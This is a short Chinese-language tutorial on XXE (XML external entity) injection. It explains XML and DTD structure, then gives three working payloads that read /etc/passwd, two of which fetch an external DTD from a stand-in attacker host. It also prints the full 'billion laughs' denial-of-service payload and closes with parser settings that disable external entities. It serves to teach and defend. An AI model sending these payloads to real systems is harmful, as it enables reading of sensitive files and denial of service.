XML外部实体(XXE)
1.何为XXE?
XXE是xml外部实体注入.
说到这里简单介绍下什么是xml,xml是用于标记电子文件使其具有结构性的标记语言,可以用来标记数据、定义数据类型,是一种允许用户对自己的标记语言进行定义的源语言.xml文档结构包括xml声明、DTD文档类型定义(可选)、文档元素.
所有的XML文档均有以下简单的构建模块组成:
·元素(元素是XML以及HTML文档的主要构成模块,元素可包含文本、其他元素或者是空的)
·属性(属性可提供有关元素的额外信息)
·实体(实体是用来定义普通文本的变量。实体引用是对实体的的引用,这里的引用就可以为我们提供xxe攻击)
·PCDATA(会被解析器解析的文本。这些文本将被解析器检查实体以及标记)
·CDATA(字符数据,不会被解析器解析的文本)
DTD(文档类型定义)
DTD的作用是定义XML文档的合法构建模块
DTD可以在XML文档内声明,也可以外部引用
内部声明:
外部声明:
DTD实体
DTD实体是用于定义引用普通文本或特殊字符的快捷方式的变量,可以内部声明或外部引用。
实体分为一般实体和参数实体
1. 一般实体的声明语法:
怎么构建外部实体注入?
方式一:直接通过DTD外部实体声明
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY b SYSTEM "file:///etc/passwd">
]>
<c>&b;</c>
方式二:通过DTD文档引入外部DTD文档,再引入外部实体声明
xml内容:
<?xml version="1.0">
<!DOCTYPE a SYSTEM "http://abc.com/xxe.dtd">
<c>&b;</c>
DTD内容:
<!ENTITY b SYSTEM "file:///etc/passwd" ]
方式三:通过DTD外部实体声明引入外部实体声明
先写一个外部实体声明,然后引用的是在攻击者服务器上面的外部实体声明
xml内容:
<?xml version="1.0"?>
<!DOCTYPE a [
<!ENTITY % d SYSTEM "http://abc.com/xss.dtd">
%d;
]>
<c>&b;</c>
dtd文件内容:
<!ENTITY b SYSTEM "file:///etc/passwd">
产生的危害
xxe危害1:读取任意文件
xxe危害2: 执行系统命令
xxe危害3:探测内网端口
xxe危害4:攻击内网网站
xxe危害5: 导致DOS攻击(著名的’billion laughs’)
简单介绍下billion laughs
该攻击通过创建一项递归的xml定义,在内存中生成是十亿个“Ha!”字符串,从而导致DOS攻击。
原理:构造恶意的XML实体文件耗尽可用内存,因为许多xml解析器在解析XML文档时倾向于将它的整个结构保留在内存中,解析非常慢,从而造成拒绝服务攻击。
<?xml version="1.0"?>
<!DOCTYPE lolz [
<!ENTITY lol "lol">
<!ENTITY lol2 "&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;&lol;">
<!ENTITY lol3 "&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;&lol2;">
<!ENTITY lol4 "&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;&lol3;">
<!ENTITY lol5 "&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;&lol4;">
<!ENTITY lol6 "&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;&lol5;">
<!ENTITY lol7 "&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;&lol6;">
<!ENTITY lol8 "&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;&lol7;">
<!ENTITY lol9 "&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;&lol8;">
]>
<lolz>&lol9;</lolz>
如何防御xxe攻击
由于导致问题的原因是XML解析器解析了用户发送的不可信数据。我们去校验DTD中SYSTEM标识符定义的数据,并不容易,也不大可能,所以,最好的解决方法就是配置XML处理器去使用本地静态的DTD,不允许XML中含有任何自己声明的DTD。
方式1: 使用开发语言提供的禁用外部实体的方法
PHP:
libxml_disable_entity_loader(true);
JAVA:
DocumentBuilderFactory dbf=DocumentBuilderFactory.newInstance();
dbf.setExpandEntityReferences(false);
Python:
from lxml import etree
xmlData = etree.parse(xmlSource,etree.XMLParser(resolve_entities=False))
方式2: 过滤用户提交的XML数据
关键词:
部分内容来自网络